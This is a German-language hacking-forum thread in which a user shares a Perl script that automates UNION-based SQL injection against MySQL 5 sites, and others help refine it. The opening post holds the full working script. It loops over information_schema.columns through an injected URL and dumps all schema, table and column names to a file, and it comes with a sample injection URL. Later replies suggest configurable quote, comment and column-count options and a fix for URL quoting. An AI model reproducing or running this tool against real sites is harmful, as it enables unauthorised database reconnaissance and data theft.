Ergebnis 1 bis 5 von 5
  1. #1
    Fortgeschrittener
    Registriert seit
    16.02.2009
    Beiträge
    45

    Standard [Perl] Information_Schema.Columns Extractor

    Ich habe ein kleines Programm in Perl geschrieben, das euch bei SQL Injections hilft. Es ist noch relativ ausbaubar....
    Wenn ihr also eine SQL Injection mit der Version 5 habt und alle Tabellen und Columns Namen speichern wollt, so könnt ihr dieses Programm verwenden:

    Code:
    #!/usr/bin/perl
    # Written by xant0x
    
    use LWP::UserAgent;
    my $uA = LWP::UserAgent->new;
    
    usage();
    
    $page = $ARGV[0];
    $filename = $ARGV[1];
    
    print "\n";
    
    die("[-] Invalid usage!\n")unless($filename);
    
    $page =~ s/l33t/concat(CHAR(108,51,51,116),concat_ws(0x3a,table_schema,table_name,column_name),CHAR(108,51,51,116))/;
    
    
    for($i=0; ; $i++)
    {
      my $final = "http://".$page."+from+information_schema.columns+limit+".$i.",1+--+";
      my $attack = $uA->get($final);
      die("[~] End ... \n")unless($attack->content =~ m/l33t(.*?):(.*?):(.*?)l33t/i);  
      my $dance = $1.":".$2.":".$3."\n";
      open(file, ">>".$filename);
      print $dance;
      print file $dance;
    }
    
    close (file);
    
    
    
    
    sub usage()
    {
      print q
      {
      ################################################
        MySQL 5 information_schema.columns Extractor
                  - Written by xant0x -
      ################################################
      Usage: info_schema.pl [Page with Injection] [Filename]
      Sample: perl info_schema.pl www.site.com/page.php?id=-666+union+select+1,l33t,3,4,5,6 site_columns.txt
      
      # l33t is the column which appears on the page
    
    
      };
    }
    
    #eof
    Achja, entschuldigt mich bitte für das Englisch ^^

    Feedback ist erwünscht!
    Geändert von xant0x (01.03.2009 um 12:16 Uhr)

  2. #2
    Stanley Jobson Avatar von Lidloses_Auge
    Registriert seit
    05.01.2007
    Beiträge
    750

    Standard

    Ansich immer nützlich, was ich aber bei mir noch drin hab, ist ein ARGV für Hochkomma/Plus und das Kommentarzeichen am Ende, da -- nicht immer die gewünschte Wirkung erzielt.
    Das macht das ganze dann noch variabler.

    Was ich bei meiner Version noch drin hab, ist ne Übergabe von der Anzahl der Columns, und der Stelle der Ausgabe, damit kann man sich dann wunderbar ein Query zusammenbasteln.

    mfg

  3. #3
    Fortgeschrittener
    Registriert seit
    16.02.2009
    Beiträge
    45

    Standard

    Danke für das Feedback Lidloses_Auge.
    Ich werde das ganze demnächst noch variabler machen.

    Nur sehe ich gerade, dass es bei einer solchen URL Probleme gibt:
    www.site.com/index.php?action=show&id=8
    Der Befehl "id" ist entweder falsch geschrieben oder konnte nicht gefunden werden

    Hat jemand eine Idee was ich dagegen machen kann?
    Bin gerade etwas ratlos ...

  4. #4
    Stanley Jobson Avatar von Lidloses_Auge
    Registriert seit
    05.01.2007
    Beiträge
    750

    Standard

    Setz das ganze beim Aufruf in Anführungsstriche dann passts

  5. #5
    Fortgeschrittener
    Registriert seit
    16.02.2009
    Beiträge
    45

    Standard

    Ah jetzt funktionierts.
    Vielen Dank.

    Edit:
    Ich hab gerade einen kleinen Fehler gefunden:
    Es wurde nicht überprüft ob in ARGV[1] der Filename drin ist.
    Habe es jetzt oben verbessert.
    Geändert von xant0x (01.03.2009 um 12:15 Uhr)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •